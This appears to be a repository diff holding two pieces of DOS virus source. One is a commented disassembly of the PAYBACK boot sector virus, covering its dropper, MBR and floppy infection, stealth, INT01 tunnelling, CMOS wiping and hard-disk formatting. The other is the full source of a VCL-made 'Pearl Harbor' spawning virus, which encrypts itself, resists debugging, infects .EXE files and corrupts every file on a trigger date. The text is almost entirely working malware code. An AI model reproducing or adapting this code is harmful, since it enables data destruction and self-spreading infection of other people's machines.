OR DX,DX ;test DX for 00h (no remaider)
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
DEC AL ;decr. AL to obtain # of last track
MOV CH,AL ;set track # for boot sect. relocation
DEC BL ;decr. BL to obtain # of last head
MOV DX,DI ;restore head/drive information
MOV DH,BL ;set head # to last head
CLC ;clear carry flag to indicate success
RET
BPB_FAIL:
STC ;set carry flag to indicate failure
RET
BIOS_INT13:
PUSHF ;push flags
CS:
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
RET ;address
;****************************************************************************
;Check date for activation (routine modified to prevent activation).
CHECK_DATE:
MOV AH,04 ;request date function
INT 01A ;request date
CMP DX,02BAD ;check for trigger date
JE ZAP_CMOS ;the route to unethical (and illegal)
RET ;behavior
;****************************************************************************
;Clear contents of CMOS system configuration memory.
ZAP_CMOS:
MOV CX,00FF ;set CMOS count (03Ch would have been
;adequate, according to my reference)
ZCLP1: MOV DX,0070 ;set port #70h
MOV AL,CL ;set configuration address
OUT DX,AL ;select CMOS address
JMP WHY ;don't understand the need for this
WHY: INC DX ;set port #71h
XOR AL,AL ;set data value to zero
OUT DX,AL ;write data value to CMOS
LOOP ZCLP1 ;do it until CMOS count = 0
;*****************************************************************************
;Obtain format data from fixed disk "C" partition table.
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
AND DI,-040 ;mask out ending sector number
MOV CL,06 ;load CL with number of shifts
SHR DI,CL ;shift to obtain ending cylinder #
MOV AL,[03C3] ;ending head # from partition table
XOR AH,AH ;zero AH
XCHG BP,AX ;store ending head # in BP
MOV BX,01F5 ;point to sector format info. table
MOV DX,0080 ;select fixed disk "C"
;*****************************************************************************
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
;this routine is correct, it formats each platter side before incrementing the
;head count to format the next platter. The destructive "advantage" of this,
;I believe, would be that the deletion of code segments from large numbers
;of files would be accomplished very quickly, rendering executable or ZIPed
;files as useless as if they were totally deleted, but in a much shorter time.
TRASH_HD:
XOR CX,CX ;set cylinder # to zero
FORMAT_TRACK:
MOV AX,0501 ;format-track function, interleave 1
CALL BIOS_INT13 ;format track (cylinder)
AND CL,0C0 ;mask for cylinder # bits 6-7
ROL CL,01 ;shift to bits 6-7 of cylinder number
ROL CL,01 ;into bottom two (0-1) bits of CL
XCHG CL,CH ;put bottom two bits in CH to match
;DI bit arrangement
INC CX ;increment track count
CMP CX,DI ;last cylinder (CX bit pattern match
;DI bit pattern)?
JA NEXT_HEAD ;if so, increment head number
XCHG CL,CH ;put CL back to where it started
ROR CL,01 ;shift to obtain
ROR CL,01 ;original value
JMP FORMAT_TRACK ;format next track
NEXT_HEAD:
INC DH ;increment head number
MOV AX,BP ;load AX with last head number
CMP DH,AL ;last head?
JBE TRASH_HD ;if not, do it again
;****************************************************************************
;Display activation message.
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
DMLP1: CLD ;clear direction flag (fwd)
LODSB ;load character of message
OR AL,AL ;check for text end (0)
JZ LOCK_IT_UP ;if end of message, lock up system
MOV AH,0E ;select write-character function
XOR BX,BX ;page 0, color 0
INT 010 ;display character on screen
JMP DMLP1 ;do it all again
LOCK_IT_UP:
CLI ;disable interrupts
HLT ;select 0.0 Mips mode
;*****************************************************************************
;Storage area for BIOS INT13 vector used by virus.
DB ? ;Pad byte (A86 assembly only)
DW ? ;BIOS INT13 offset storage location
DW ? ;BIOS INT13 segment storage location
;*****************************************************************************
;Text strings for activation message.
MESSAGE_TEXT:
DB 0A,0D ;linefeed, carriage ret.
DB "That was for ARCV, mother fucker!"
DB 0A,0A,0D ;linefeed x 2, car. ret.
DB "Payback! (c) 1993"
DB 0A,0D ;linefeed, carriage ret.
;*****************************************************************************
;End-of-boot sector pad bytes and valid boot sector tag bytes.
DB 10 DUP ? ;pad bytes
DB 055,0AA ;valid boot sector tag
;****************************************************************************
;Start of space reserved for disk I/O
MBR_BUFFER:
DB 512 DUP ? ;reserve one sectors worth of space
;****************************************************************************
;Storage location for INT13 vector used by dropper routine.
VECT_INT13:
DD ? ;BIOS INT13 offset/segment storage
MAIN ENDS

@ -0,0 +1,476 @@
;*****************************************************************************
;* *
;* FILE: PAYBACK.A86 *
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
;* *
;*****************************************************************************
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
ORG 100h
;*****************************************************************************
;Decryption routine to decrypt body of virus. Not used in this file as virus
;has already been decrypted for analysis. Bit sequence of encryption/decryp-
;tion key possibly chosen for its randomized bit sequence (just a guess).
;DECRYPT:
; MOV CX,02A8 ;set length of encrypted code
; MOV AX,0391D ;load decryption key (bit sequence
; ;"0011100100011101")
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
;DECLP1: DEC CX ;decrement byte count
; JS DROPPER ;if done, jump to dropper start
; XOR [SI],AL ;decrypt a byte
; XCHG AH,AL ;change key
; ROR AX,CL ;really mix it up
; DEC SI ;point to next byte to decrypt
; JMP DECLP1 ;do it all again
;****************************************************************************
;Dropper routine to place virus in MBR of fixed disk "C".
DROPPER:
MOV AX,03513 ;get INT13 vector.
INT 021
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
CALL STEAL_INT01 ;jump to steal INT01 routine
MOV AX,0201 ;select read-one-sector function
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
MOV CX,0001 ;cylinder 0, sector 1
MOV DX,0080 ;head 0, fixed disk "C"
CALL SYS_INT13 ;read boot sector of drive "C"
JB RUN_CARRIER ;if flag = failure, execute carrier
CMP WORD PTR [BX+010],012CD ;check for infection tag
JE RUN_CARRIER ;if infected, execute carrier program
XOR AX,AX
MOV DS,AX ;point to data segment 0000h
MOV AX,[046C] ;load lower two bytes of master clock
PUSH CS
POP DS ;restore data segment
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
JZ RUN_CARRIER ;if AL <> 01, do not infect system
SUB BX,0200 ;set disk I/O buffer to point to virus
MOV AX,0302 ;select write-two-sectors
CALL SYS_INT13 ;write virus to MBR and original
;boot sector to sector 2.
;****************************************************************************
;Routine to restore original jump address to start of trojan file and to
;execute trojan carrier program. We don't use it here since the virus is not
;attached to anything (other than its own dropper). Instead, the replacement
;RUN_CARRIER routine below it is executed to terminate the dropper.
;RUN_CARRIER:
; MOV DI,0100 ;point to carrier prog. start
; MOV WORD PTR [DI],030B4 ;restore original jump value
; MOV BYTE PTR [DI+02],CD ;ditto
; XOR AX,AX
; PUSH DI ;zero DI
; RET ;exit and execute carrier program
RUN_CARRIER:
MOV AX,04C00 ;select terminate-with-return-code
INT 021 ;terminate PAYBACK.COM dropper
;*****************************************************************************
;Routine to steal INT01 for tunnelling purposes and then restore it to its
;original value. Tunnelling is new to me, so I hope that I got this right.
STEAL_INT01:
MOV AX,03501 ;get INT01 (single-step) vector
INT 021
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
MOV AH,025 ;steal INT01 vector
INT 021
PUSHF
POP AX ;pop flags into AX
OR AH,01 ;set trap flag
PUSH AX
POPF ;pop AX into flag register (from this
;point on, every instruction execution
;also executes the viral INT01
;handler)
XOR AX,AX ;zero AX
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
;to find BIOS INT13 handler address
PUSHF
POP AX ;pop flags into AX
AND AH,0FE ;zero trap flag
PUSH AX
POPF ;pop AX into flag register
MOV AX,02501 ;set-interrupt-vector function (INT01)
MOV DX,BX ;load DX with orig. INT01 offset
PUSH ES
POP DS ;load DS with orig. INT01 segment
INT 21 ;restore INT01 vector to orig. value
PUSH CS
PUSH CS
POP DS ;set DS and ES to value of
POP ES ;code segment
RET
;*****************************************************************************
;INT01 handler routine to accomplish tunnelling address aquisition for
;original INT13 handler.
FIND_INT13:
PUSH BP
MOV BP,SP ;load BP with the stack offset
PUSH AX
MOV AX,[BP+04] ;load AX with the segment of the
;calling routine
CMP AX,0C800 ;is it in DOS segment?
JNB TUNNEL ;if not, its time to tunnel
EXIT: POP AX ;restore registers
POP BP
IRET ;return from INT01 interrupt
TUNNEL:
CMP AX,0F000 ;calling routine in ROM?
JA EXIT ;if so, no need to tunnel, so exit
CS: ;if not, store orig. INT13 segment
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
MOV AX,[BP+02] ;load AX with original INT13 offset
CS:
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
JMP EXIT ;return to prevent re-execution of
;this INT01 handler
SYS_INT13:
PUSHF ;preserve flags
CS:
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
RET
;*****************************************************************************
;Start of boot sector virus code.
BOOT: CLI ;disable interrupts
XOR AX,AX
MOV DS,AX ;set data segment
MOV SS,AX ;set stack segment
MOV SP,0FFFE ;set stack pointer
STI ;enable interrupts
PUSH DS ;preserve DS
DEC WORD PTR [0413] ;lower top of memory 1K
INT 012 ;get base memory size
MOV CL,0A ;set rotation count
ROR AX,CL ;calculate upper memory segment
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
MOV [07DB7],BX ;store orig. offset within virus
MOV [07DB9],ES ;store orig. segment within virus
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
MOV [004E],AX ;set vector to installed virus seg.
MOV ES,AX ;set ES to installed virus segment
XOR DI,DI ;zero destination offset for move
MOV SI,07C00 ;set source address for virus move
PUSH SI ;set SI for orig. boot sector load
MOV CX,02C8 ;set byte count for move (a count of
;0200h would have been adequate)
CLD ;clear direction flag (fwd)
REPZ
MOVSB ;move virus to upper memory
PUSH ES ;set up stack for virus reentry seg.
MOV AX,003F ;AX = offset for virus reentry point
PUSH AX ;set up stack for virus reentry off.
RETF ;return to self in new location (ES:AX)
NEW_LOCATION:
MOV AX,0201 ;select read-one-sector function
POP BX ;set disk I/O buffer to 7C00h
MOV CX,0002 ;track 0, sector 2 (self modified by
;virus to reflect true MBR location)
MOV DX,0080 ;head 0, fixed disk "C" (once again,
;self-modified by virus)
AND DL,080 ;mask to load original MBR from drive
;"C", even if not boot drive, or drive
;"A" if boot is from floppy
POP ES ;set ES = 0000h
CALL BIOS_INT13 ;load original boot sector to 0:7C00
PUSH CS
POP DS ;set to current upper-mem. seg. value
PUSH CS
POP ES ;ditto
MOV AX,0201 ;select read-one-sector function
MOV BX,0200 ;set I/O buffer location
MOV CX,0001 ;track 0, sector 1
MOV DX,0080 ;head 0, fixed disk "C"
CALL BIOS_INT13 ;load MBR
CMP WORD PTR [0210],012CD ;check for infect tag
JE BOOT_EXIT ;if infected, exit
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
JNE BOOT_EXIT ;if not, then exit
MOV AX,0302 ;select write-two-sectors function
XOR BX,BX ;set buffer offset to include virus
INC CX ;track 0, sector 2 (relocated MBR)
MOV [0044],CX ;store track/sector within viral code
MOV [0047],DX ;store head/drive within viral code
DEC CX ;track 0, sector 1
CALL BIOS_INT13 ;write virus to MBR and original MBR
;to sector 2.
BOOT_EXIT:
CALL CHECK_DATE ;check for activation date
JMP 0000:07C00 ;wrong date, so jump to original MBR
;*****************************************************************************
;INT13h handler routine.
STEALTH:
CMP CX,+01 ;track 0, sector 1?
JNE EXIT2BIOS ;if not, no need for stealth, so exit
OR DH,DH ;head 0?
JNE EXIT2BIOS ;ditto
CMP AH,02 ;read request?
JE ORIG_SECT ;if so, time for stealth...
EXIT2BIOS:
CS:
JMP FAR D[01B7] ;jump to BIOS via stored address
EXIT2CALL:
RETF 0002 ;exit to calling routine
ORIG_SECT:
CALL BIOS_INT13 ;read boot sector
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
ES:
CMP WORD PTR [BX+0010],012CD ;check for infection tag
JNE INFECT_FLOPPY ;if not infected, then infect
MOV AX,0201 ;select read-one-sector function
PUSH CX ;preserve registers values
PUSH DX ;for boot sector
ES:
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
ES:
MOV DH,[BX+0048] ;load head # of original boot record
CALL BIOS_INT13 ;load original boot record
POP DX ;restore registers to values
POP CX ;sent by calling routine
JMP EXIT2CALL ;exit directly back to calling routine
;*****************************************************************************
;Diskette infection routine. Very clever and code efficient (to me, anyway).
INFECT_FLOPPY:
PUSHF ;push flags to hide I/O errors
PUSH AX ;preserve registers
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH ES
PUSH CX ;save a few register values a
PUSH DX ;second time to be used by
PUSH BX ;the virus interrupt handler
TEST DL,080 ;fixed drive I/O?
JNZ EXIT_1 ;if so, then exit handler
ES:
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
JNE EXIT_1 ;if not, exit handler
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
JB EXIT_1 ;if not standard format, exit
CS:
MOV [0044],CX ;store reloc. track/sect. within virus
CS:
MOV [0047],DX ;store reloc. head/drive within virus
POP BX ;restore orig. buffer offset
MOV AX,0301 ;select write-one-sector
PUSH AX
CALL BIOS_INT13 ;relocate boot sector
POP AX ;restore some registers
POP DX
POP CX
JB EXIT_2 ;if I/O flag = failure, exit
XOR BX,BX ;set I/O buffer to virus start
PUSH CS
POP ES ;set ES=CS
CALL BIOS_INT13 ;write virus to boot sector
JMP EXIT_2 ;exit handler
EXIT_1:
POP BX ;restore registers
POP DX
POP CX
EXIT_2:
POP ES ;restore registers
POP DI
POP DX
POP CX
POP BX
POP AX
POPF ;pop flags to hide I/O errors
JMP EXIT2BIOS ;jump to exit to BIOS
CALC_TRACK:
MOV DI,DX ;load DI with head/drive #
ES:
MOV AX,[BX+013] ;load total # sectors on disk from BPB
ES:
MOV CX,[BX+018] ;load # of sectors per track from BPB
OR AX,AX ;test AX for 00h
JZ BPB_FAIL ;if zero, non-standard format, so exit
JCXZ BPB_FAIL ;ditto for CX
XOR DX,DX ;clear DX for remainder storage
DIV CX ;divide AX by CX
OR DX,DX ;test DX for 00h (no remainder)
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
ES:
MOV BX,[BX+01A] ;load # of disk sides from BPB
OR BX,BX ;test BX for 00h
JZ BPB_FAIL ;if zero, non-standard format, so exit
DIV BX ;divide AX by BX
OR DX,DX ;test DX for 00h (no remaider)
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
DEC AL ;decr. AL to obtain # of last track
MOV CH,AL ;set track # for boot sect. relocation
DEC BL ;decr. BL to obtain # of last head
MOV DX,DI ;restore head/drive information
MOV DH,BL ;set head # to last head
CLC ;clear carry flag to indicate success
RET
BPB_FAIL:
STC ;set carry flag to indicate failure
RET
BIOS_INT13:
PUSHF ;push flags
CS:
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
RET ;address
;****************************************************************************
;Check date for activation (routine modified to prevent activation).
CHECK_DATE:
MOV AH,04 ;request date function
INT 01A ;request date
CMP DX,02BAD ;check for trigger date
JE ZAP_CMOS ;the route to unethical (and illegal)
RET ;behavior
;****************************************************************************
;Clear contents of CMOS system configuration memory.
ZAP_CMOS:
MOV CX,00FF ;set CMOS count (03Ch would have been
;adequate, according to my reference)
ZCLP1: MOV DX,0070 ;set port #70h
MOV AL,CL ;set configuration address
OUT DX,AL ;select CMOS address
JMP WHY ;don't understand the need for this
WHY: INC DX ;set port #71h
XOR AL,AL ;set data value to zero
OUT DX,AL ;write data value to CMOS
LOOP ZCLP1 ;do it until CMOS count = 0
;*****************************************************************************
;Obtain format data from fixed disk "C" partition table.
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
AND DI,-040 ;mask out ending sector number
MOV CL,06 ;load CL with number of shifts
SHR DI,CL ;shift to obtain ending cylinder #
MOV AL,[03C3] ;ending head # from partition table
XOR AH,AH ;zero AH
XCHG BP,AX ;store ending head # in BP
MOV BX,01F5 ;point to sector format info. table
MOV DX,0080 ;select fixed disk "C"
;*****************************************************************************
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
;this routine is correct, it formats each platter side before incrementing the
;head count to format the next platter. The destructive "advantage" of this,
;I believe, would be that the deletion of code segments from large numbers
;of files would be accomplished very quickly, rendering executable or ZIPed
;files as useless as if they were totally deleted, but in a much shorter time.
TRASH_HD:
XOR CX,CX ;set cylinder # to zero
FORMAT_TRACK:
MOV AX,0501 ;format-track function, interleave 1
CALL BIOS_INT13 ;format track (cylinder)
AND CL,0C0 ;mask for cylinder # bits 6-7
ROL CL,01 ;shift to bits 6-7 of cylinder number
ROL CL,01 ;into bottom two (0-1) bits of CL
XCHG CL,CH ;put bottom two bits in CH to match
;DI bit arrangement
INC CX ;increment track count
CMP CX,DI ;last cylinder (CX bit pattern match
;DI bit pattern)?
JA NEXT_HEAD ;if so, increment head number
XCHG CL,CH ;put CL back to where it started
ROR CL,01 ;shift to obtain
ROR CL,01 ;original value
JMP FORMAT_TRACK ;format next track
NEXT_HEAD:
INC DH ;increment head number
MOV AX,BP ;load AX with last head number
CMP DH,AL ;last head?
JBE TRASH_HD ;if not, do it again
;****************************************************************************
;Display activation message.
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
DMLP1: CLD ;clear direction flag (fwd)
LODSB ;load character of message
OR AL,AL ;check for text end (0)
JZ LOCK_IT_UP ;if end of message, lock up system
MOV AH,0E ;select write-character function
XOR BX,BX ;page 0, color 0
INT 010 ;display character on screen
JMP DMLP1 ;do it all again
LOCK_IT_UP:
CLI ;disable interrupts
HLT ;select 0.0 Mips mode
;*****************************************************************************
;Storage area for BIOS INT13 vector used by virus.
DB ? ;Pad byte (A86 assembly only)
DW ? ;BIOS INT13 offset storage location
DW ? ;BIOS INT13 segment storage location
;*****************************************************************************
;Text strings for activation message.
MESSAGE_TEXT:
DB 0A,0D ;linefeed, carriage ret.
DB "That was for ARCV, mother fucker!"
DB 0A,0A,0D ;linefeed x 2, car. ret.
DB "Payback! (c) 1993"
DB 0A,0D ;linefeed, carriage ret.
;*****************************************************************************
;End-of-boot sector pad bytes and valid boot sector tag bytes.
DB 10 DUP ? ;pad bytes
DB 055,0AA ;valid boot sector tag
;****************************************************************************
;Start of space reserved for disk I/O
MBR_BUFFER:
DB 512 DUP ? ;reserve one sectors worth of space
;****************************************************************************
;Storage location for INT13 vector used by dropper routine.
VECT_INT13:
DD ? ;BIOS INT13 offset/segment storage
MAIN ENDS

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

@ -0,0 +1,434 @@
; PEARLHBR.ASM -- Pearl Harbor Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 2 ; Spawning Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
call get_month
cmp ax,000Ch ; Did the function return 12?
jne skip00 ; If not equal, skip effect
call get_day
cmp ax,0007h ; Did the function return 7?
jne skip00 ; If not equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end00: call get_country
cmp ax,0051h ; Did the function return 81?
jne skip01 ; If not equal, skip effect
call get_month
cmp ax,000Ch ; Did the function return 12?
jne skip01 ; If not equal, skip effect
call get_day
cmp ax,0007h ; Did the function return 7?
jne skip01 ; If not equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: mov dx,offset data01 ; DX points to data
push bp ; Save BP
mov bp,sp ; BP points to stack frame
sub sp,4096 ; Allocate 4096-byte buffer
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc corrupt_end ; If no files found then exit
corrupt_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D02h ; DOS open file function, r/w
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
c_crypt_loop: mov ah,03Fh ; DOS read from file function
mov cx,4096 ; Read 4k of characters
lea dx,[bp - 4096] ; DX points to the buffer
int 021h
or ax,ax ; Were 0 bytes read?
je close_c_file ; If so then close it up
push ax ; Save AX
lea si,[bp - 4096] ; SI points to the buffer
xor ah,ah ; BIOS get clock ticks function
int 01Ah
pop cx ; CX holds number of bytes read
push cx ; Save CX
corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks
inc si ; Do the next byte
inc dx ; Change the key for next byte
loop corrupt_bytes ; Repeat until buffer is done
pop dx ; Restore DX (holds bytes read)
push dx ; Save count for write
mov ax,04201h ; DOS file seek function, current
mov cx,0FFFFh ; Seeking backwards
neg dx ; Seeking backwards
int 021h
mov ah,040h ; DOS write to file function
pop cx ; CX holds number of bytes read
lea dx,[bp - 4096] ; DX points to the buffer
int 021h
jmp short c_crypt_loop
close_c_file: mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc corrupt_file ; If successful do next file
corrupt_end: pop di ; Restore DI
mov sp,bp ; Deallocate local buffer
pop bp ; Restore BP
end01:
mov ah,04Ah ; DOS resize memory function
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset spawn_name ; SI points to true filename
int 02Eh ; DOS execution back-door
push ax ; Save return value for later
mov ax,cs ; AX holds code segment
mov ds,ax ; Restore data segment
mov es,ax ; Restore extra segment
call search_files ; Find and infect a file
pop ax ; AL holds return value
mov ah,04Ch ; DOS terminate function
int 021h
main endp
db 010h,07Ch,0E5h,00Ch,0DAh
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
db 0D0h,0DCh,083h,09Eh,044h
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 07Eh,0FFh,09Ah,025h,02Bh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx,00100111b ; CX holds file attributes (all)
int 021h
xchg bx,ax ; BX holds file handle
call encrypt_code ; Write an encrypted copy
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
spawn_name db 12,12 dup (?),13 ; Name for next spawn
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
db 038h,025h,0F2h,0EAh,074h
get_country proc near
push bp ; Save BP
mov bp,sp ; BP points to stack frame
sub sp,34 ; Allocate 34 bytes on stack
mov ah,038h ; DOS get country function
lea dx,[bp - 34] ; DX points to unused buffer
int 021h
xchg bx,ax ; AX holds the country code
mov sp,bp ; Deallocate local buffer
pop bp ; Restore BP
ret ; Return to caller
get_country endp
db 05Bh,02Dh,0FBh,03Ah,0E9h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 049h,053h,0C8h,006h,095h
get_month proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dh ; Copy month into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_month endp
data00 db "December 7th, 1941 -- A day that will live in infamy...",13,10,13,10
db 07,07,07
db "*** REMEMBER PEARL HARBOR ***",13,10,0
data01 db "C:\*.*",0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "Dedicated to the memories of t"
db "he brave American men and wome"
db "n who gave their lives at [Pea"
db "rl Harbor].",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
mov si,offset encrypt_decrypt; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 8],dx ; Low word of timer is new key
xor byte ptr [si],1 ;
xor byte ptr [si + 7],1 ; Change all SIs to DIs
xor word ptr [si + 10],0101h; (and vice-versa)
mov di,offset finish ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
mov si,offset write_stuff ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
mov dx,offset start ; DX points to virus
call finish ; Encrypt/write/decrypt
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
